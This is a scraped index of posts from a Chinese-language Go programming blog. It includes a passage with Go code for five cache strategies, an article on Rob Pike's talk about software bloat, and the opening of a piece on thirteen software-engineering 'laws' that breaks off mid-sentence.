nil, fmt.Errorf(\u0026#34;failed to get user from DB: %w\u0026#34;, err) } if user == nil { return nil, nil // Not found } // 4. Store data into cache memCache.Set(cacheKey, user, ttl) log.Println(\u0026#34;[Cache-Aside] User stored in cache:\u0026#34;, userID) // 5. Return data return user, nil } 优点:\n实现相对简单直观。\n对读密集型应用效果好，缓存命中时速度快。\n缓存挂掉不影响应用读取主数据源（只是性能下降）。\n缺点:\n首次请求（冷启动）或缓存过期后，会有一次缓存未命中，延迟较高。\n存在数据不一致的风险：需要额外的缓存失效策略。\n应用代码与缓存逻辑耦合。\n使用场景: 读多写少，能容忍短暂数据不一致的场景。\n2. Read-Through (穿透读缓存) 核心思想：应用程序将缓存视为主要数据源，只与缓存交互。缓存内部负责在未命中时从主数据源加载数据。\n工作流程：\n应用向缓存请求数据。 缓存检查数据是否存在。 缓存命中: 直接返回数据。 缓存未命中: 缓存自己负责从主数据源加载数据。 加载成功后，缓存将数据存入自身，并返回给应用。 Go 示例 (模拟实现 – strategy/readthrough/readthrough.go):\nRead-Through 通常依赖缓存库自身特性。这里我们通过封装 Cache 接口模拟其行为。\npackage readthrough import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;time\u0026#34; \u0026#34;cachestrategysdemo/internal/cache\u0026#34; \u0026#34;cachestrategysdemo/internal/database\u0026#34; ) // LoaderFunc defines the function signature for loading data on cache miss. type LoaderFunc func(ctx context.Context, key string) (interface{}, error) // Cache wraps a cache instance to provide Read-Through logic. type Cache struct { cache cache.Cache // Use the cache interface loaderFunc LoaderFunc ttl time.Duration } // New creates a new ReadThrough cache wrapper. func New(cache cache.Cache, loaderFunc LoaderFunc, ttl time.Duration) *Cache { return \u0026amp;Cache{cache: cache, loaderFunc: loaderFunc, ttl: ttl} } // Get retrieves data, using the loader on cache miss. func (rtc *Cache) Get(ctx context.Context, key string) (interface{}, error) { // 1 \u0026amp; 2: Check cache if cachedVal, found := rtc.cache.Get(key); found { log.Println(\u0026#34;[Read-Through] Cache Hit for:\u0026#34;, key) return cachedVal, nil } // 4: Cache Miss - Cache calls loader log.Println(\u0026#34;[Read-Through] Cache Miss for:\u0026#34;, key) loadedVal, err := rtc.loaderFunc(ctx, key) // Loader fetches from DB if err != nil { return nil, fmt.Errorf(\u0026#34;loader function failed for key %s: %w\u0026#34;, key, err) } if loadedVal == nil { return nil, nil // Not found from loader } // 5: Store loaded data into cache \u0026amp; return rtc.cache.Set(key, loadedVal, rtc.ttl) log.Println(\u0026#34;[Read-Through] Loaded and stored in cache:\u0026#34;, key) return loadedVal, nil } // Example UserLoader function (needs access to DB instance and key prefix) func NewUserLoader(db database.Database, keyPrefix string) LoaderFunc { return func(ctx context.Context, cacheKey string) (interface{}, error) { userID := cacheKey[len(keyPrefix):] // Extract ID // log.Println(\u0026#34;[Read-Through Loader] Loading user from DB:\u0026#34;, userID) return db.GetUser(ctx, userID) } } 优点:\n应用代码逻辑更简洁，将数据加载逻辑从应用中解耦出来。\n代码更易于维护和测试（可以单独测试 Loader）。\n缺点:\n强依赖缓存库或服务是否提供此功能，或需要自行封装。\n首次请求延迟仍然存在。\n数据不一致问题依然存在。\n使用场景: 读密集型，希望简化应用代码，使用的缓存系统支持此特性或愿意自行封装。\n3. Write-Through (穿透写缓存) 核心思想：数据一致性优先！应用程序更新数据时，同时写入缓存和主数据源，并且两者都成功后才算操作完成。\n工作流程：\n应用发起写请求（新增或更新）。 应用先将数据写入主数据源（或缓存，顺序可选）。 如果第一步成功，应用再将数据写入另一个存储（缓存或主数据源）。 第二步写入成功（或至少尝试写入）后，操作完成，向调用方返回成功。 通常以主数据源写入成功为准，缓存写入失败一般只记录日志。 Go 示例 (核心实现 – strategy/writethrough/writethrough.go):\npackage writethrough import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;time\u0026#34; \u0026#34;cachestrategysdemo/internal/cache\u0026#34; \u0026#34;cachestrategysdemo/internal/database\u0026#34; \u0026#34;cachestrategysdemo/internal/models\u0026#34; ) const userCacheKeyPrefix = \u0026#34;user:\u0026#34; // Example prefix // UpdateUser updates user info using Write-Through strategy. func UpdateUser(ctx context.Context, user *models.User, db database.Database, memCache cache.Cache, ttl time.Duration) error { cacheKey := userCacheKeyPrefix + user.ID // Decision: Write to DB first for stronger consistency guarantee. log.Println(\u0026#34;[Write-Through] Writing to database first for user:\u0026#34;, user.ID) err := db.UpdateUser(ctx, user) if err != nil { // DB write failed, do not proceed to cache write return fmt.Errorf(\u0026#34;failed to write to database: %w\u0026#34;, err) } log.Println(\u0026#34;[Write-Through] Successfully wrote to database for user:\u0026#34;, user.ID) // Now write to cache (best effort after successful DB write). log.Println(\u0026#34;[Write-Through] Writing to cache for user:\u0026#34;, user.ID) memCache.Set(cacheKey, user, ttl) // If strict consistency cache+db is needed, distributed transaction is required (complex). // For simplicity, assume cache write is best-effort. Log potential errors. return nil } 优点:\n数据一致性相对较高。\n读取时（若命中）能获取较新数据。\n缺点:\n写入延迟较高。\n实现需考虑失败处理（特别是DB成功后缓存失败的情况）。\n缓存可能成为写入瓶颈。\n使用场景: 对数据一致性要求较高，可接受一定的写延迟。\n4. Write-Behind / Write-Back (回写 / 后写缓存) 核心思想：写入性能优先！应用程序只将数据写入缓存，缓存立即返回成功。缓存随后异步地、批量地将数据写入主数据源。\n工作流程：\n应用发起写请求。 应用将数据写入缓存。 缓存立即向应用返回成功。 缓存将此写操作放入一个队列或缓冲区。 一个独立的后台任务在稍后将队列中的数据批量写入主数据源。 Go 示例 (核心实现 – strategy/writebehind/writebehind.go):\npackage writebehind import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; \u0026#34;cachestrategysdemo/internal/cache\u0026#34; \u0026#34;cachestrategysdemo/internal/database\u0026#34; \u0026#34;cachestrategysdemo/internal/models\u0026#34; ) // Config holds configuration for the Write-Behind strategy. type Config struct { Cache cache.Cache DB database.Database KeyPrefix string TTL time.Duration QueueSize int BatchSize int Interval time.Duration } // Strategy holds the state for the Write-Behind implementation. type Strategy struct { // ... (fields: cache, db, updateQueue, wg, stopOnce, cancelCtx/Func, dbWriteMutex, config fields) ... // Fields defined in the full code example provided previously cache cache.Cache db database.Database updateQueue chan *models.User wg sync.WaitGroup stopOnce sync.Once cancelCtx context.Context cancelFunc context.CancelFunc dbWriteMutex sync.Mutex // Simple lock for batch DB writes keyPrefix string ttl time.Duration batchSize int interval time.Duration } // New creates and starts a new Write-Behind strategy instance. // (Implementation details in full code example - initializes struct, starts worker) func New(cfg Config) *Strategy { // ... (Initialization code as provided previously) ... // For brevity, showing only the function signature here. // It sets defaults, creates the context/channel, and starts the worker goroutine. // Returns the *Strategy instance. // ... Full implementation in GitHub Repo ... panic(\u0026#34;Full implementation required from GitHub Repo\u0026#34;) // Placeholder } // UpdateUser queues a user update using Write-Behind strategy. func (s *Strategy) UpdateUser(ctx context.Context, user *models.User) error { cacheKey := s.keyPrefix + user.ID s.cache.Set(cacheKey, user, s.ttl) // Write to cache immediately // Add to async queue select { case s.updateQueue \u0026lt;- user: return nil // Return success to the client immediately default: // Queue is full! Handle backpressure. log.Printf(\u0026#34;[Write-Behind] Error: Update queue is full. Dropping update for user: %s\\n\u0026#34;, user.ID) return fmt.Errorf(\u0026#34;update queue overflow for user %s\u0026#34;, user.ID) } } // dbWriterWorker processes the queue (Implementation details in full code example) func (s *Strategy) dbWriterWorker() { // ... (Worker loop logic: select on queue, ticker, context cancellation) ... // ... (Calls flushBatchToDB) ... // ... Full implementation in GitHub Repo ... } // flushBatchToDB writes a batch to the database (Implementation details in full code example) func (s *Strategy) flushBatchToDB(ctx context.Context, batch []*models.User) { // ... (Handles batch write logic using s.db.BulkUpdateUsers) ... // ... Full implementation in GitHub Repo ... } // Stop gracefully shuts down the Write-Behind worker. // (Implementation details in full code example - signals context, waits for WaitGroup) func (s *Strategy) Stop() { // ... (Stop logic using stopOnce, cancelFunc, wg.Wait) ... // ... Full implementation in GitHub Repo ... } 优点:\n写入性能极高。\n降低主数据源压力。\n缺点:\n数据丢失风险。\n最终一致性。\n实现复杂度高。\n使用场景: 对写性能要求极高，写操作非常频繁，能容忍数据丢失风险和最终一致性。\n5. Write-Around (绕写缓存) 核心思想：写操作直接绕过缓存，只写入主数据源。读操作时才将数据写入缓存（通常结合 Cache-Aside）。\n工作流程：\n写路径: 应用发起写请求，直接将数据写入主数据源。 读路径 (通常是Cache-Aside): 应用需要读取数据时，先检查缓存。如果未命中，则从主数据源读取，然后将数据存入缓存，最后返回。 Go 示例 (核心实现 – strategy/writearound/writearound.go):\npackage writearound import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;time\u0026#34; \u0026#34;cachestrategysdemo/internal/cache\u0026#34; \u0026#34;cachestrategysdemo/internal/database\u0026#34; \u0026#34;cachestrategysdemo/internal/models\u0026#34; ) const logCacheKeyPrefix = \u0026#34;log:\u0026#34; // Example prefix for logs // WriteLog writes log entry directly to DB, bypassing cache. func WriteLog(ctx context.Context, entry *models.LogEntry, db database.Database) error { // 1. Write directly to DB log.Printf(\u0026#34;[Write-Around Write] Writing log directly to DB (ID: %s)\\n\u0026#34;, entry.ID) err := db.InsertLogEntry(ctx, entry) // Use the appropriate DB method if err != nil { return fmt.Errorf(\u0026#34;failed to write log to DB: %w\u0026#34;, err) } return nil } // GetLog retrieves log entry, using Cache-Aside for reading. func GetLog(ctx context.Context, logID string, db database.Database, memCache cache.Cache, ttl time.Duration) (*models.LogEntry, error) { cacheKey := logCacheKeyPrefix + logID // 1. Check cache (Cache-Aside read path) if cachedVal, found := memCache.Get(cacheKey); found { if entry, ok := cachedVal.(*models.LogEntry); ok { log.Println(\u0026#34;[Write-Around Read] Cache Hit for log:\u0026#34;, logID) return entry, nil } memCache.Delete(cacheKey) } // 2. Cache Miss log.Println(\u0026#34;[Write-Around Read] Cache Miss for log:\u0026#34;, logID) // 3. Fetch from Database entry, err := db.GetLogByID(ctx, logID) // Use the appropriate DB method if err != nil { return nil, fmt.Errorf(\u0026#34;failed to get log from DB: %w\u0026#34;, err) } if entry == nil { return nil, nil /* Not found */ } // 4. Store data into cache memCache.Set(cacheKey, entry, ttl) log.Println(\u0026#34;[Write-Around Read] Log stored in cache:\u0026#34;, logID) // 5. Return data return entry, nil } 优点:\n避免缓存污染。\n写性能好。\n缺点:\n首次读取延迟高。\n可能存在数据不一致（读路径上的 Cache-Aside 固有）。\n使用场景: 写密集型，且写入的数据不太可能在短期内被频繁读取的场景。\n总结与选型 没有银弹！ 选择哪种缓存策略，最终取决于你的具体业务场景对性能、数据一致性、可靠性和实现复杂度的权衡。\n本文涉及的完整可运行示例代码已托管至GitHub，你可以通过这个链接访问。\n希望这篇详解能帮助你在 Go 项目中更自信地选择和使用缓存策略。你最常用哪种缓存策略？在 Go 中实现时遇到过哪些坑？欢迎在评论区分享交流！\n注：本文代码由AI生成，可编译运行，但仅用于演示和辅助文章理解，切勿用于生产！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/28/five-cache-strategies/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/five-cache-strategies-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/04/28/five-cache-strategies\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/04/28/five-cache-strategies\"\u003ehttps://tonybai.com/2025/04/28/five-cache-strategies\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在构建高性能、高可用的后端服务时，缓存几乎是绕不开的话题。无论是为了加速数据访问，还是为了减轻数据库等主数据源的压力，缓存都扮演着至关重要的角色。对于我们 Go 开发者来说，选择并正确地实施缓存策略，是提升应用性能的关键技能之一。\u003c/p\u003e","title":"Go开发者必知：五大缓存策略详解与选型指南"},{"content":"Rob Pike的“抱怨”与Go的“解药”：直面软件膨胀的四大根源 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nRob Pike的“抱怨”与Go的“解药”：直面软件膨胀的四大根源 四月 27, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/27/rob-pike-on-bloat\n大家好，我是Tony Bai。\n今年年初，Go语言之父、UTF-8编码的发明者Rob Pike的一篇题为”On Bloat”（关于膨胀）的演讲幻灯片(在2024年下旬做的)在技术圈，尤其是在Hacker News(以下简称HN)上，引发了相当热烈的讨论。Pike作为业界泰斗，其对当前软件开发中普遍存在的“膨胀”现象的犀利批评，以及对依赖管理、软件分层等问题的深刻担忧，无疑戳中了许多开发者的痛点。\nHN上的讨论更是五花八门，开发者们纷纷从自身经历出发，探讨“膨胀”的定义、成因和后果。有人认为膨胀是“层层叠加的间接性”导致简单修改寸步难行；有人认为是“不必要的功能堆砌”；还有人归咎于“失控的依赖树”和“缺乏纪律的开发文化”。\n那么，Rob Pike究竟在“抱怨”什么？他指出的软件膨胀根源有哪些？而作为我们Gopher，Go语言的设计哲学和工具链，能否为我们从纯技术层面提供对抗膨胀的“解药”呢？今天，我们就结合Pike的演讲精髓和HN的热议，深入聊聊软件膨胀的四大根源，并从Go的视角尝试寻找一下应对之道。\n“膨胀”的真相：远不止代码大小和运行速度 在深入探讨根源之前，我们需要认识到，“膨胀”并不止是字面意义上我们理解的最终编译产物的大小或者应用的运行速度慢，Pike的观点和HN讨论中的“软件膨胀”体现在多个维度：\n复杂性失控： 过度的抽象层次、复杂的依赖关系、难以理解的代码路径，使得维护和迭代变得异常困难。 维护成本剧增： 添加新功能的长期维护成本（包括理解、测试、修复Bug、处理兼容性）远超初次实现的成本，但往往被低估。 不可预测性与脆弱性： 庞大且快速变化的依赖树使得我们几乎无法完全理解和掌控软件的实际构成和行为，任何更新都可能引入未知风险。 下面我们具体看看Pike指出的“膨胀”几个核心根源：\n根源一：特性 (Features) —— “有用”不等于“值得” Pike 指出，我们不断地为产品添加特性，以使其“更好”。但所有特性都会增加复杂性和成本，而维护成本是最大的那部分，远超初次实现。他警示我们要注意“有用谬论” —— 并非所有“有用”的功能都值得我们付出长期的维护代价。\nHN讨论也印证了这一点：功能冗余、为了匹配竞品或满足某个高层“拍脑袋”的想法而添加功能、甚至开发者为了个人晋升而开发复杂功能的现象屡见不鲜。\n技术层面：Go的“解药”在哪？\n简洁哲学： Go从设计之初就强调“少即是多”，鼓励用简单的原语组合解决问题，天然地抵制不必要的复杂性。 强大的标准库： Go 提供了功能丰富且高质量的标准库，覆盖了网络、并发、加解密、I/O 等众多领域，减少了对外部特性库的依赖。很多时候，“自己动手，丰衣足食”（使用标准库）比引入一个庞大的外部框架更符合Go的风格。 关注工程效率： Go的设计目标之一是提高软件开发（尤其是大型项目）的工程效率和可维护性，这促使Go社区更关注代码的清晰度和长期成本。 注：技术层面包括语言、工具以及设计思路和方法。\n根源二：分层 (Layering) —— 在错误的层级“打补丁” Pike 认为，现代软件层层叠加（硬件 -\u0026gt; 内核 -\u0026gt; 运行时 -\u0026gt; 框架 -\u0026gt; 应用代码），当出现问题时，我们太容易在更高的层级通过包装（wrap）来“修复”问题，而不是深入底层真正解决它。这导致了层层叠叠的“创可贴”，增加了复杂性和维护难度。他列举了ChromeOS文件App的例子，并强调要在正确的层级实现功能和修复。\n在HN的讨论中，有开发者描述的修改按钮颜色需要穿透17个文件和多个抽象层的例子，正是这种“错误分层”或“过度抽象”的生动体现。\n技术层面：Go的“解药”在哪？\n小接口哲学： Go 鼓励定义小而专注的接口，这使得组件之间的依赖更清晰、更松耦合。当问题出现时，更容易定位到具体的接口实现层去修复，而不是在外部层层包装。 组合优于继承： Go 通过组合（struct embedding）而非继承来实现代码复用，避免了深度继承带来的复杂性和脆弱性，使得在“正确层级”修改代码更易操作。 显式错误处理： if err != nil 的模式强制开发者在调用点处理错误，使得问题更难被“隐藏”到上层去统一“包装”处理，鼓励在错误发生的源头附近解决或添加上下文。 根源三：依赖 (Dependencies) —— 看不见的“冰山” 这是Pike演讲中着墨最多、也最为忧虑的一点。他用数据（NPM 包平均依赖 115 个其他包，每天 1/4 的依赖解析发生变化）和实例（Kubernetes 的复杂依赖图）强调：\n现代软件依赖数量惊人且变化极快。 我们几乎不可能完全理解自己项目的所有直接和间接依赖。 依赖中隐藏着巨大的维护成本、Bug 和安全风险。 简单的 npm update 或 audit 无法解决根本问题。 他强烈建议要理解依赖的成本，严格、定期地审视依赖树，并推荐了 deps.dev 这样的工具。\nHN 社区对此深有同感，纷纷吐槽“为了一个函数引入整个库”、“脆弱的传递性依赖”、“供应链安全”等问题，并呼唤更好的依赖分析工具。\n技术层面：Go的“解药”在哪？\nGo Modules： 相比 NPM 等包管理器，Go Modules 提供了相对更好的依赖管理机制，包括语义化版本控制、go.sum 校验和、最小版本选择 (MVS) 等，提高了依赖的可预测性和安全性，但也要注意Go module并非完美。 强大的标准库： 这是 Go 对抗依赖泛滥的最有力武器。很多功能可以直接使用标准库，避免引入外部依赖。 社区文化： Go 社区相对而言更推崇稳定性和较少的依赖。引入一个大型框架或过多的外部库在 Go 社区通常需要更充分的理由。 工具支持： Go 提供了 go mod graph, go mod why 等命令，可以帮助开发者理解依赖关系。结合 deps.dev，可以在一定程度上实践 Pike 的建议。 根源四：开源模式 (Open Source Development) —— “大门敞开” vs “严格把关” Pike 对比了两种开源开发模式：\n“真正的开源方式” (The true open source way): 接受一切贡献 (Accept everything that comes)。他认为这是膨胀和 Bug 的巨大来源。 更好的方式： 设立严格的代码质量、标准、评审、测试、贡献者审查等“门槛”，对允许合入的内容有标准。这种方式维护成本低得多。 他暗示 Go 项目本身更倾向于后者，强调“先做好再提交”（make it good before checking it in）。可能很多Gopher也感受到了这一点，Go项目本身对代码质量的review非常严格，这一定程度上也“延缓”了一些新特性进入Go的时间点。\nHN 的讨论中也涉及了类似 “Bazaar vs Cathedral” 的模式对比，但观点更加复杂，认为现实中的项目往往处于两者之间的某个位置，并且“完全不接受外部贡献”也并非良策。\n技术层面：Go的“解药”在哪？\nGo 自身的开发模式： Go 语言本身（由 Google 主导）的开发流程相对严谨，对代码质量和向后兼容性有较高要求，可以看作是“严格把关”模式的体现。 标准库的设计： Go 标准库的设计精良、接口稳定，为开发者提供了一个高质量的基础平台，减少了对外部“随意贡献”的依赖。 社区项目实践： 观察 Go 社区一些知名的开源项目，其贡献流程和代码标准通常也比较严格。 反思与现实：Go 也非万能，“警惕与纪律”仍是关键 虽然 Go 的设计哲学和工具链在对抗软件膨胀方面提供了许多“天然优势”和“解药”，但我们必须清醒地认识到，Go 语言本身并不能完全免疫膨胀。\n正如 Pike 在其“建议”(Advice) 中反复强调的，以及 HN 讨论中部分开发者指出的，最终软件的质量很大程度上取决于开发者和团队的“警惕与纪律” (vigilance and discipline)：\n我们是否真正理解并避免了增加不相称成本的特性？ 我们是否努力在正确的层级解决问题？ 我们是否审慎地评估和管理了每一个依赖？ 我们是否坚持了高标准的开发和评审流程？ 如果缺乏这些，即使使用 Go，项目同样可能变得臃肿、复杂和难以维护。同时，HN 讨论也提醒我们，软件膨胀背后还有更深层次的组织、文化和经济因素，这些往往超出了单纯的技术和开发者纪律所能解决的范畴。\n小结：拥抱 Go 的简洁，但需务实前行 Rob Pike 的“抱怨”为我们敲响了警钟，Hacker News 的热议则展现了软件膨胀问题的复杂性和普遍性。它确实是我们在工程实践中需要持续对抗的“熵增”现象。\nGo 语言以其简洁、显式、组合的设计哲学，以及强大的标准库和相对稳健的依赖管理，在技术层面上，为我们提供了对抗膨胀的有力武器。理解并拥抱这些 Go 的“基因”，无疑能在一定程度上帮助我们构建更健康、更可持续的软件系统。\n当然，Pike 的观点也并非金科玉律。有批评者指出，他的视角可能带有一定的“NIH（非我发明）倾向”，并且存在两个关键的“盲点”：\n忽视了“不使用依赖”同样是巨大的技术债。 每一行自写的代码都需要永远维护。 现实中的选择往往不是“使用依赖 vs 自己实现”，而是“使用依赖 vs 根本不做这个功能”。 面对复杂的合规要求（如 ADA、GDPR）、第三方集成或 FIPS 认证等，从零开始构建的成本（可能需要数百人年）往往让“自己实现”变得不切实际。为了让产品能够及时上线并满足用户（哪怕是 Pike 本人可能也在使用的“缓慢”网站）的需求，引入依赖和一定的“膨胀”有时是必要且务实的选择。 注：“NIH（非我发明）倾向”是一种心理现象，指的是人们对他人提出的想法或创新持有偏见，通常因为这些想法不是自己发明的。这种倾向使得人们倾向于低估或拒绝其他人的创意，尽管这些创意可能是有价值的。\n这种批评也提醒了我们，虽然 Pike 对简洁和纪律的呼吁值得我们高度重视，但在真实的商业环境和复杂的工程约束下，我们必须做出务实的权衡。纯粹的技术理想有时需要向现实妥协。\n最终，我们每一位 Gopher 都需要在理解 Go 简洁之道的同时，保持批判性思维和务实态度。 在日常的每一个决策中，审慎地权衡简单与复杂、理想与现实、引入依赖与自主掌控，才能在这场与“膨胀”的持久战中，找到最适合我们项目和团队的平衡点，交付真正有价值且可持续的软件。\n你如何看待 Rob Pike 对软件膨胀的观点？你认为他的批评切中要害，还是忽视了现实的复杂性？欢迎在评论区分享你的思考与实践！\n参考资料 Rob Pike – On Bloat – https://docs.google.com/presentation/d/e/2PACX-1vSmIbSwh1_DXKEMU5YKgYpt5_b4yfOfpfEOKS5_cvtLdiHsX6zt-gNeisamRuCtDtCb2SbTafTI8V47/pub?slide=id.p HN：On Bloat – https://news.ycombinator.com/item?id=43045713 Pike is wrong on bloat On Bloat – https://commandcenter.blogspot.com/2025/02/on-bloat-these-are-slides-from-talk-i.html 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/27/rob-pike-on-bloat/","summary":"\u003cp\u003eRob Pike的“抱怨”与Go的“解药”：直面软件膨胀的四大根源 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Rob Pike的“抱怨”与Go的“解药”：直面软件膨胀的四大根源"},{"content":"【规律之手】资深码农都懂？软件工程中的13条“潜规则”定律 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n【规律之手】资深码农都懂？软件工程中的13条“潜规则”定律 四月 26, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/26/13-laws-of-software-engineering\n大家好，我是Tony Bai。\n做软件开发时间越长，越觉得背后似乎有只“无形的手”在影响着项目进度、团队协作、系统架构甚至技术决策。有些现象反复出现，从早期的一头雾水，到后来的似曾相识，再到最后的会心一笑（或许是苦笑），让人不得不感慨其中蕴含的某些“规律”。\n最近看到国外一位开发者ANTON ZAIDES总结了软件工程领域的13条“定律”。它们中有些广为人知，有些则相对小众，但都非常实用。它们虽然不像物理定律那样严格精确，但确实精准地捕捉到了我们日常工作中经常遇到的挑战和现象，堪称是工程师和管理者都应该了解的宝贵“经验法则”或“心智模型”。\n今天，就让我们一起来了解和学习一下这13条定律，看看它们是如何在我们身边运作的。\n注：下面文中各条定律的配图也借自ANTON ZAIDES的原文章。\n帕金森定律 (Parkinson’s law) 定律：工作会不断扩展，填满所有可用的时间 (Work expands to fill the available time.) (任务总能拖到最后期限前完成？)\n这是最著名的定律之一。简单说，如果你给一个任务设定了1周的期限，它很可能就会花掉1周；如果设定了2周，它就可能花掉2周。这常常被用来解释为什么设定“伪造”的（有时甚至不合理的）截止日期似乎能提高效率——它迫使人们在有限的时间内集中精力。但这一定律也容易被滥用，导致不切实际的期望和压力。\n合理设定Deadlines是必要的，但要警惕其副作用，并结合对工作量的实际评估。它提醒我们时间管理的重要性，以及在没有明确时间约束时，任务可能无限膨胀的风险。\n霍夫施塔特定律 (Hofstadter’s law) 定律：事情总是比你预期的要花费更长的时间，即使你已经考虑了霍夫施塔特定律。 (It always takes longer than you expect, even when you take into account Hofstadter’s Law.) (估时永远不准?)\n这是对软件项目估时困难最精准的自嘲。几乎所有的软件项目都会延期，即使你已经预留了缓冲时间。这一定律完美地平衡了帕金森定律：如果你因为帕金森定律而设置过短的Deadline，结果很可能是团队burnout或者项目持续延期。\n软件工时评估极其困难，充满了不确定性。简单的缓冲时间往往不够。有效的项目管理需要在时间、资源和可协商的范围 (negotiable scope) 之间找到平衡，并依赖持续的沟通和实践经验。\n布鲁克斯定律 (Brooks’ law) 定律：向一个以延期的软件项目中增加人力，将使其更加延期。(Adding manpower to a late software project makes it later.) (人月神话？)\n这就是著名的“9个孕妇不能在1个月内生出一个婴儿”的道理。当项目延期，高层管理者常常会说：“这个项目很紧急，你可以从其他团队调配任何你需要的人！” 但项目经理的内心可能是：“请别再打扰我们，让我们专心工作就好”。\n增加新人手需要时间成本：新人需要学习项目背景、熟悉代码库、建立沟通渠道。这些都会消耗现有团队成员的时间和精力，增加沟通开销，短期内甚至可能降低整体生产力。\n在项目后期，尤其是面临延期时，要极其谨慎地考虑增加人手。更好的策略可能是缩减范围、优化流程或给予现有团队更多不受干扰的时间。\n康威定律 (Conway’s law) **定律：组织输出的设计是这些组织的沟通结构的副本。(Organizations produce designs which are copies of the communication structures of these organizations.) (你的架构是不是反映了你的团队结构?)\n简而言之，你的系统架构往往是你团队组织结构的镜像。如果你的公司有独立的“前端团队”和“后端团队”，他们之间的沟通壁垒和协作模式，会直接反映在前后端接口的设计、数据格式的匹配度以及可能出现的额外“胶水代码”上。\n这一定律提醒我们组织结构对技术决策的深远影响。反过来，我们也可以利用 逆康威定律 (Inverse Conway Maneuver)：为了达成期望的系统架构，主动调整团队的组织结构和沟通方式。例如，想要微服务化？那就组建更小、更自治、拥有端到端职责的团队。\n坎宁安定律 (Cunningham’s law) 定律：在互联网上获得正确答案的最佳方式不是提问，而是发布一个错误的答案。 (The best way to get the right answer on the internet is not to ask a question; it’s to post the wrong answer.) (想得到反馈？先大胆“错”一个?)\n这条定律巧妙地利用了人性——人们往往更乐于纠正错误，而不是回答问题。\n在工作中遇到阻碍时，可以巧妙运用这一定律。例如，与其提交一个请求单等待DevOps团队处理，不如自己尝试写一个（哪怕不完美的）解决方案，提交一个Pull Request。即使写得不对，通常也能更快地获得相关人员的注意和具体的修改建议，同时也促进了知识的传递和流程的改进。主动迈出第一步，哪怕是“错误”的一步，也比原地等待更有效。\n斯特金定律 (Sturgeon’s law) 定律：任何事物（特别是人类创造出来的）90% 都是垃圾。 (Ninety percent of everything is crap.) (你做的功能多少是真正有价值的?)\n这条定律是对现实的残酷揭示，有点像加强版的“二八定律”。无论是代码、想法、功能特性，大部分都可能是平庸甚至无用的。你发布的大部分功能可能对用户价值寥寥，只有那一小部分核心功能支撑着你的产品。\n这要求我们具备批判性思维，勇于质疑。作为开发者，不能仅仅被动接受产品经理给出的需求列表，而要思考功能的真正价值，避免将精力浪费在那“90%的垃圾”上。这也解释了为什么“10倍工程师”并非指写10倍代码的人，而是能创造10倍价值的人——他们更懂得识别和聚焦于那重要的10%。\n扎文斯基定律 (Zawinski’s law) 定律：每一个程序都试图扩展直到它能阅读邮件为止。那些不能如此扩展的程序会被可以如此扩展的程序替代掉。 (Every program attempts to expand until it can read mail. Those programs which cannot so expand are replaced by ones that can.) (警惕功能蔓延!)\n这条定律形象地描述了“功能蔓延”(feature creep) 的现象。程序（或产品）总有一种内在的趋势去添加越来越多的功能，最终变得臃肿不堪。尤其在AI时代，给任何应用加上一个聊天机器人似乎都轻而易举。\n我们要警惕无休止的功能添加！保持产品的核心价值和简洁性至关重要。过多的功能不仅会增加复杂度和维护成本，还可能让用户（尤其是新用户）感到困惑，找不到真正需要的功能。需要有意识地做减法，抵制“什么都想要”的诱惑。\n海勒姆定律 (Hyrum’s law / The Law of Implicit Interfaces) 定律：当你有足够多的API用户时，你在合同（文档）中承诺什么都无关紧要：你系统中所有可观察的行为都会被某些人所依赖。 (With a sufficient number of users of an API, it does not matter what you promise in the 